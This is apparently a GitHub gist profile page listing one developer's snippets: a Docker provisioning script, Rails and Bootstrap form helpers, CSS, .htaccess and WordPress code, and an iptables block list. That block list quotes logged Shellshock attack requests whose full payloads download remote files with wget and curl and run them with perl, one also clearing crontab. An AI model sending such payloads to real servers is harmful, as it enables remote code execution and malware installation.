Skip to content

Instantly share code, notes, and snippets.

View donnykurnia's full-sized avatar

Donny Kurnia donnykurnia

View GitHub Profile
@donnykurnia
donnykurnia / install-docker.sh
Last active September 26, 2022 21:11
Shell provision for ubuntu-based vagrant machine to install latest docker daemon (1.9.1)
export DEBIAN_FRONTEND=noninteractive
# update repository
apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
echo 'deb https://apt.dockerproject.org/repo ubuntu-trusty main' > /etc/apt/sources.list.d/docker.list
apt-get update
apt-get upgrade -y
apt-get autoremove --purge -y
apt-get purge -y lxc-docker
@donnykurnia
donnykurnia / iptables-block-list-2015-03-08
Last active August 29, 2015 14:16
iptables block list 2015-03-08
# shellshock exploit
# 209.236.133.201 - - [02/Mar/2015:15:50:03 +0700] "GET /cgi-bin/sip.cgi HTTP/1.0" 301 178 "-" "() { :;}; /bin/bash -c \x22cd /var/tmp ; wget http://151.236.44.210/ft.exe ; curl -O http://151.236.44.210/ft.exe;perl ft.exe;perl /var/tmp/ft.exe;perl ft.exe\x22"
iptables -I INPUT -s 209.236.133.201 -j DROP
iptables -A OUTPUT -d 151.236.44.210 -j DROP
# 31.184.194.114 - - [04/Mar/2015:10:29:53 +0700] "GET /fcgi-php/php HTTP/1.1" 301 178 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22crontab -r;killall -9 php perl; cd /tmp/ ; mkdir gnu-bash-max-races ; cd /tmp/gnu-bash-max-races ; wget http://64.32.12.152/gnu-bash-max-race ; lwp-download http://64.32.12.152/gnu-bash-max-race ; fetch http://64.32.12.152/gnu-bash-max-race ; curl -O http://64.32.12.152/gnu-bash-max-race ; perl gnu-bash-max-race;cd /tmp/;rm -rf max*\x22);'"
iptables -I INPUT -s 31.184.194.114 -j DROP
iptables -A OUTPUT -d 64.32.12.152 -j DROP
# 50.22.0.250 - - [2
@donnykurnia
donnykurnia / simple_form_3.x_bootstrap_3.x
Created February 28, 2014 09:22
Setting simple_form 3.x to work with bootstrap 3.x
---------------------------------------------------------------------------------------------------------
# app/helpers/application_helper.rb
---------------------------------------------------------------------------------------------------------
def horizontal_simple_form_for(record, options={}, &block)
options[:html] ||= {}
options[:html][:class] = "form-horizontal #{options[:html][:class]}".rstrip
options[:wrapper] = :bootstrap_horizontal
simple_form_for(record, options, &block)
end
---------------------------------------------------------------------------------------------------------
@donnykurnia
donnykurnia / _form.html.erb
Last active January 3, 2016 16:08
simple_form 3.0.1 bootstrap 3 config and custom input.
<%%= simple_form_for(@<%= singular_table_name %>) do |f| %>
<%%= f.error_notification %>
<div class="form-inputs">
<%- attributes.each do |attribute| -%>
<%%= f.<%= attribute.reference? ? :association : :input %> :<%= attribute.name %> %>
<%- end -%>
</div>
<div class="form-actions form-group">
@donnykurnia
donnykurnia / fix_recaptcha.css
Created December 8, 2013 12:58
fix recaptcha styling
/* fix image in recaptcha */
#recaptcha_area * {
line-height: normal;
}
#recaptcha_area #recaptcha_response_field {
height: 16px;
display: inline;
}
ActiveRecord::Base.logger = Logger.new(STDOUT)
@donnykurnia
donnykurnia / .htaccess
Created April 1, 2013 08:52
.htaccess for 503 maintenance page
ErrorDocument 503 /index.html
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule .* /index.html [R=503,L]
@donnykurnia
donnykurnia / example.php
Created December 10, 2012 18:15
Wordpress menu generator
// import socialniho menu
$top = new Menu('Top menu');
// page link
if ($page = get_page_by_path('some-page')) {
$top->title('Page');
$top->object_id($page->ID);
$top->object('page');
$top->type('post_type');
$top->save();
@donnykurnia
donnykurnia / user.rb
Created April 20, 2012 11:22
find or create parent object from children association
def autosave_associated_records_for_team
if team.name.blank?
self.team_id = 1
else
# Find or create the team by name
self.team = Team.find_or_create_by_name(team.name)
end
end
function formatUSprice(amount)
{
var i = parseFloat(amount);
if(isNaN(i)) { i = 0.00; }
var minus = '';
if(i < 0) { minus = '-'; }
i = Math.abs(i);
i = parseInt((i + .005) * 100);
i = i / 100;
s = new String(i);